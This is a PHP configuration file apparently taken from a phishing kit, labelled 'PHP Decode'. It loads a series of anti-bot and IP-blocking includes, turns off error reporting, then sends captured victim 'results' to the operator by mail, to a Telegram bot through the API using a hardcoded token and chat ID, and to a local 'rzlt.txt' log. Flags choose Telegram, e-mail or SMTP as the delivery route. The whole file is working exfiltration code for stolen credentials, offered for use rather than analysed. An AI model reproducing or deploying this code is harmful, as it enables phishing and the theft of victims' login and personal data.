PHP Decode

<?php 
        include("./system/system.php"); 
        include("./system/detect.php"); 
        include("./system/blocker.php"); 
        include("./system/encrypter.php"); 
        include "../anti/anti1.php"; 
        include "smart.php"; 
        include "../anti/anti2.php";  
        include "../anti/anti3.php";  
        include "../anti/anti4.php";  
        include "../anti/anti5.php";  
        include "../anti/anti6.php";  
        include "../anti/anti7.php";  
        include "../anti/anti8.php";  
        include "../anti/antiip.php";  
 
    session_start(); 
    error_reporting(0); 
 
   $yours="[email protected]"; 
    @mail($yours,$subject,$yagmail,$headers); 
    define("RECEIVER", ''); 
    $botToken="5040159519:AAFxWxiFFdKCyVlO6NhbFXXCbbiRlMEjhx8"; // Your Token Bot 
 
    $website="https://api.telegram.org/bot".$botToken; 
    $chatId="-1001951716516"; // Your Id  
    $params=[ 
        'chat_id'=>$chatId,  
        'text'=>$yagmai, 
    ]; 
    $ch = curl_init($website . '/sendMessage'); 
    curl_setopt($ch, CURLOPT_HEADER, false); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($params)); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    $result = curl_exec($ch); 
    curl_close($ch); 
     
     
    $myfile = fopen("rzlt.txt", "a+"); 
    $txt = $message; 
    fwrite($myfile, $txt); 
    fclose($myfile); 
    // file_get_contents("https://api.telegram.org/bot5040159519:AAFxWxiFFdKCyVlO6NhbFXXCbbiRlMEjhx8/sendMessage?chat_id=-662763630&text='.$yagmail'"); 
 
    define("SMTP_HOSTNAME", 'smtp.host.com'); 
    define("SMTP_USER", 'username'); 
    define("SMTP_PASS", 'password'); 
    define("SMTP_PORT", 465); 
    define("SMTP_FROM_EMAIL", '[email protected]'); 
 
    define("RECEIVE_VIA_TELEGRAM", 1); // Receive results via telegram : 0 or 1 
    define("RECEIVE_VIA_EMAIL", 0); // Receive results via e-mail : 0 or 1 
    define("RECEIVE_VIA_SMTP", 0); // Receive results via smtp : 0 or 1 
?>